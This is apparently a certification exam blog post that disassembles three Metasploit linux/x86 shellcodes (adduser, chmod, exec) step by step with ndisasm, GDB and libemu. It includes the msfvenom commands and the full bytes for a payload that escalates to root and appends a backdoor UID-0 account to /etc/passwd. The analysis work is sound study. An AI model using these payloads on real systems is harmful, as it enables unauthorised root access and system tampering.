Description of the assignment

  • Take up at least 3 shellcode samples created using Msfpayload for linux/x86
  • Use GDB/NDisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

We are going to analyse together the following shellcodes:

  • linux/x86/adduser
  • linux/x86/exec
  • linux/x86/chmod

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-26457

Part 1 - linux/x86/adduser shellcode

Principle

This first shellcode creates a user named ‘metasploit’ with the password ‘metasploit’.

metasploit:metasploit

To analyse the shellcode we use ndisasm to display the instructions as follows :

msfvenom -p linux/x86/adduser R | ndisasm -u -

Code result :

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80 // setreuid
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80 // Open
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80 //
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80 //

Execution of the shellcode

The first thing we will try is to exploit the executable to see the result:

drawing

Note: Be careful with unknown shellcodes.

And when we search into the /etc/passwd file, we can see that the user has been well added as we can see:

metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

Then we will look into more details about this shellcode.

1 - setreuid

The first instructions passed are as follows:

    00000000  31C9              xor ecx,ecx
    00000002  89CB              mov ebx,ecx
    00000004  6A46              push byte +0x46
    00000006  58                pop eax
    00000007  CD80              int 0x80

drawing

And the registers passed to that syscall are:

  • EAX = 0x46 which is 70 in decimal
  • EBX = 0
  • ECX = 0
  • EDX = 0
  • ESI = 0
  • EDI = 0

So when we look at the syscall number 70 into “/usr/include/x86_64-linux-gnu/asm/unistd_32.h” and we get the setreuid syscall:

root@kali:~/Documents/adduser# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 70
#define __NR_setreuid 70

Details of the syscall:

setreuid - set real and/or effective user ID
int setreguid(uid_t ruid, uid_t euid);

The analysis shows a setruid call with a real and effective user ID set to 0. By doing that, a privilege elevation is performed. Indeed, it changes the user ID of the user who launch the shellcode to 0 which corresponds to the root user ID.

2 - Open

00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373 // dwss
00000014  682F2F7061        push dword 0x61702f2f // ap//
00000019  682F657463        push dword 0x6374652f // cte/
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80

drawing

The registers passed to that syscall are:

  • EAX = 0x5 (Open syscall)
  • EBX = /etc//passwd
  • ECX = 0x401
  • EDX = 0
  • ESI = 0
  • EDI = 0

So when look at the syscall number 5 we get the setreuid call :

#define __NR_open 5

Syscall details:

open - open and possibly create a file
int open(const char *pathname, int flags)

EBX - Explanation

If we look at the push performed and then move into the EBX register, we can see that the values as follows are pushed:

push dword 0x64777373 // dwss push dword 0x61702f2f // ap// push dword 0x6374652f // cte/

Because of the little endian, the values are inversed but if we put them in the other way, it becomes “/etc//passwd”. And with the push ECX performed before, the value of EBX becomes /etc//passwd0x00.

ECX - Explanation:

Technic 1

The easiest way to find the flags parameters passed to the ECX registers is to use the tool strace.

root@kali:~/Documents/adduser# strace ./adduser 2>&1 | grep open
open("/etc//passwd", O_WRONLY|O_APPEND) = 3

It displays the paramters O_WRONLY and O_APPEND have been passed to the open function.

Technic 2

The second technic is by looking at the value 0x401 passed to ECX. If we try to convert the value in decimal, it gives 2001 as we can see:

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/assignment5/chmod# printf "%o\n" 0x401
2001

To find the corresponding flags, we have to look into the /usr/include/asm-generic/fcntl.h file and as we can see it confirms that the flag values are:

#define O_WRONLY	00000001 
#define O_APPEND	00002000

For the first one, the detail in the man 2 open page shows:

The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. 
These request opening the file read-only, write-only, or read/write, respectively.

And for the second one, the details in the man 2 open page shows:

O_APPEND
    The  file  is  opened in append mode.  Before each write(2), the file offset is posi‐
    tioned at the end of the file, as if with lseek(2).  The  modification  of  the  file
    offset and the write operation are performed as a single atomic step.

So, by specifying the O_WRONLY and the O_APPEND flags, the file permissions set are respectively the write only and the writing of the data at the end of the file.

3 - JMP-CALL-POP

In the instruction section, we can see the following instructions:

00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53

So to better understand the behavior, we look at it into GDB which gave the following instructions:

0x8048079:	xchg   ebx,eax
0x804807a:	call   0x80480a7
0x80480a7:	pop    ecx

The first instruction store the file descriptor into EAX. Then, as we could see into GDB, the JMP-CALL-POP technic is used to retrive the address of the string that needs to be inserted into the /etc/passwd file. The last instruction store the address of the following value :

ECX: 0x804807f ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")

4 - Write

Then in GDB, we display the newt instructions :

0x80480a8:	mov    edx,DWORD PTR [ecx-0x4] // Length
0x80480ab:	push   0x4
0x80480ad:	pop    eax
0x80480ae:	int    0x80

drawing

As we can see the register values are:

  • EAX = 0x4 // Write Syscall
  • EBX = 0x3 // File descriptor
  • ECX = 0x804807f // Address of the values to write
  • EDX = 0x28 // 40 in decimal
  • ESI = 0
  • EDI = 0

So when we look at the syscall number 4 into “/usr/include/x86_64-linux-gnu/asm/unistd_32.h” and we get the write syscall:

root@kali:~/Documents/adduser# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 4
#define __NR_write 4

man 2 write result:

ssize_t write(int fd, const void *buf, size_t count);

So, this syscall write in the /etc/passwd file the string ‘metasploit:Az/dIsj4p4IRc:0:0:: /:/bin/sh\n’’ with a length of 40.

5 - Exit

GDB displayed the final instructions as follows:

0x80480b0:	push   0x1
0x80480b2:	pop    eax
0x80480b3:	int    0x80

drawing

As we can see the register values are:

  • EAX = 0x1 // Exit Syscall
  • EBX = 0x3 // File descriptor

So, we look into the unistd_32.h file to find the corresponding syscall and it seems that is is an Exit syscall.

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/assignment5/adduser# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 1
#define __NR_exit 1_

Result : The final instruction perform an Exit syscall and it let a random value for the status parameter.

Part 2 - linux/x86/chmod shellcode

Principle

This linux/x86/chmod shellcode runs a chmod command on a specified file with specified mode.

To analyze the shellcode purpose, the file “restrictedfile” is created with the specifications as follows:

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/assignment5/chmod# ls -l /etc/restrictedfile 
-rw-r--r-- 1 root root 0 févr. 16 20:44 /etc/restrictedfile

The rights attributed to the file are initially 0644 and in this exercise, we are going to analyse a shellcode which change them to 0777.

To make sure that the shellcode works, we created it shellcode and executed it:

drawing

As we can see, the rights on the file have been changed successfully.

Analysis

To analyse the shellcode we can use several technics. First, we can use directly GDB to go step by step and stop (break) at each syscall and look at the register’s values.

Then, we can used the libemu/tools/sctest script to analyse it:

msfvenom -p linux/x86/chmod R | /opt/hackingtools/libemu/tools/sctest/sctest -vvv -Ss 100000
        -S : read shellcode from stdin
        -s : how much of the shellcode we would like to run (100000 => to have all the shellcode executed)

And, we used the graphical option to help to visualize it:

msfvenom -p linux/x86/chmod FILE=/etc/restrictedfile MODE=0777 R | /opt/hackingtools/libemu/tools/sctest/sctest -vvv -Ss 100000 -G chmod.dot
//Then convert into PNG file :
dot chmod.dot -Tpng -o chmod.png

Finally, we can display the instruction with the following command line:

msfvenom -p linux/x86/chmod FILE=/etc/restrictedfile MODE=0777 R | ndisasm -u -

In this assessment, we will use all of those technic to be more accurate on the actions performed.

Shellcode instructions:

0x8048054:	cdq    
0x8048055:	push   0xf
0x8048057:	pop    eax
0x8048058:	push   edx
0x8048059:	call   0x8048072
0x804805e:	das    
0x804805f:	gs je  0x80480c5
0x8048062:	das    
0x8048063:	jb     0x80480ca
0x8048065:	jae    0x80480db
0x8048067:	jb     0x80480d2
0x8048069:	arpl   WORD PTR [ebp+eiz*2+0x64],si
0x804806d:	imul   bp,WORD PTR [ebp+eiz*2+0x0],0x685b
0x8048074:	inc    DWORD PTR [ecx]
0x8048076:	add    BYTE PTR [eax],al
0x8048078:	pop    ecx
0x8048079:	int    0x80
0x804807b:	push   0x1
0x804807d:	pop    eax
0x804807e:	int    0x80

1 - CHMOD

The first instruction are as follows :

0x8048054:	cdq    
0x8048055:	push   0xf // decimal value = 15
0x8048057:	pop    eax

As we can see, the hexadecimal value 0xf (15 in decimal) is poped into the EAX register. We searched for the syscall associated to the decimal value 15 and we found that it corresponds to the chmod syscall.

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/assignment5/chmod# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 15
#define __NR_chmod 15

Syscall details:

chmod - change permissions of a file
int chmod(const char *pathname, mode_t mode);    

We can see that the chmod function is constituted as follows:

  • *pathname: Pointer pointing to the string of the targeted file pathname;
  • mode: Mode to apply to the file.

The technic of the jump call pop is used to retrive the address of the string “/etc/restricted” as we can see:

Call instruction:

drawing

Pop Instruction:

drawing

Address of the string “/etc/restricted” strored into the register EBX:

drawing

Then the next step is to set up the second parameter “mode”. The next instructions showed by GDB are as follows:

drawing

As we can see, it pop into the ECX register the value “0x1ff” which correspond to the decimal value 777 that we specified in an option of our shellcode.

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/assignment5/chmod# printf "%o\n" 0x1ff
777

Then, at the syscall instruction (0x80), it gives the following state:

drawing

With the registers:

  • EAX = 0xf // decimal value 15 for the chmod syscall
  • EBX = 0x804805e (“/etc/restrictedfile”) // address of the string of the file
  • ECX = 0x1ff // decimal value 777 for the mode
Exit

Finally the last instructions are as follows:

drawing

We can see that the value 0x1 is passed to the EAX register. By looking at the corresponding sycall in the unistd_32.h file, we find out that it corresponds to the exit syscall.

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/assignment5/chmod# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 1
#define __NR_exit 1

Details of the Exit syscall:

_exit, terminate the calling process
#include <unistd.h>
void _exit(int status);

Finally, we can see in the last instruction that only the EAX register has been changed because the status parameter required is only used to return a state to the parent process which is not required in our case.

Part 3 - linux/x86/exec shellcode

Principle

This linux/x86/exec shellcode execute an arbirary command line.

To find out how the shellcode works and reacts we first performed a test with the following the steps:

drawing

As we can see, an ls command as been specified to the shellcode and successfully executed when launch.

Now we are will go deeper and find out which syscalls are performed.

Shellcode Analysis

To analyse this shellcode we can use several technics. First, we can use directly GDB to go step by step an stop at each syscall and looking at the register’s values.

We can used as well the libemu/tools/sctest script to analyse it :

msfvenom -p linux/x86/exec CMD=ls R | /opt/hackingtools/libemu/tools/sctest/sctest -vvv -Ss 100000
    -S : read shellcode from stdin
    -s : how much of the shellcode we would like to run (100000 => to have all the shellcode executed)

And used the graphical option to help to visualize it :

msfvenom -p linux/x86/exec CMD=ls R | /opt/hackingtools/libemu/tools/sctest/sctest -vvv -Ss 100000 -G exec.dot
//Then convert into PNG file :
dot exec.dot -Tpng -o exec.png

Result:

drawing

Finally, we can display the instruction with the following command line:

msfvenom -p linux/x86/exec CMD=ls R | ndisasm -u -

In this assessment, we will use all of those technic to be more specific about the actions performed.

Shellcode instructions:

0x8048054:	push   0xb
0x8048056:	pop    eax
0x8048057:	cdq    
0x8048058:	push   edx
0x8048059:	pushw  0x632d
0x804805d:	mov    edi,esp
0x804805f:	push   0x68732f
0x8048064:	push   0x6e69622f
0x8048069:	mov    ebx,esp
0x804806b:	push   edx
0x804806c:	call   0x8048074
0x8048071:	ins    BYTE PTR es:[edi],dx
0x8048072:	jae    0x8048074
0x8048074:	push   edi
0x8048075:	push   ebx
0x8048076:	mov    ecx,esp
0x8048078:	int    0x80

The first two instructions set the value of eax to 0xb.

0x8048054:	push   0xb
0x8048056:	pop    eax

0xb in hexadecimal is equivalent to 11 in decimal.

root@kali:~/exec# printf "%d\n" 0xb
11

We search what syscall corresponds to the decimal value 11 in the unistd_32.h file and it appears that it is the execve syscall.

root@kali:~/exec# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 11
#define __NR_execve 11

Details of the execve syscall:

execve - execute program
int execve(const char *pathname, char *const argv[], char *const envp[]);

So, the arguments of the exceve syscall as follows needs to be defined:

  • Pathname: Pointer pointing to the string of the path to the executable;
  • Argv[]: Array of pointers pointing to the command-line strings;
  • envp[]: Array of pointers pointing to the environment strings of the new program (usually NULL).

The next instructions are:

0x8048058:	push   edx
0x8048059:	pushw  0x632d
0x804805d:	mov    edi,esp

It set the value 0x632d to the registers EDI.

We mapped the value 0x632d to the ASCII table and inversed the value because of the little indian indentation and we find out that the EDI register is set to “-c”.

Then, two pushs are performed on the stack and the address is then set to the register EBX.

0x804805f:	push   0x68732f => /sh
0x8048064:	push   0x6e69622f => /bin
0x8048069:	mov    ebx,esp

Then, we mapped the values to the ASCII table and inversed the values because of the little indian indentation and we deducted that the address of the string “/bin/sh” has been set into the EBX register.

Then, the following instruction are used to retrieve the command line that we want to launch.

0x804806b:	push   edx
0x804806c:	call   0x8048074
0x8048071:	ins    BYTE PTR es:[edi],dx
0x8048072:	jae    0x8048074
0x8048074:	push   edi
0x8048075:	push   ebx
0x8048076:	mov    ecx,esp

The call instruction performed put on the stack the address of the ls string, then the edi’s value “-c” is pushed on the stack as well as the /bin/sh and finally the ESP address containing the argument “/bin/sh -c ls” is pushed into the ECX register.

To conclude, as follows the state of the Execve syscall:

drawing

SO, we can see that:

  • The EAX register contains the decimal value 11 related to the Execve syscall;
  • The EBX register contains the address of the string pathname /bin/sh;
  • The ECX register contains the arguments “/bin/sh -c ls”;
  • The EDX value is set to NULL.

And, when the syscall is performed, the “ls” command line is executed:

drawing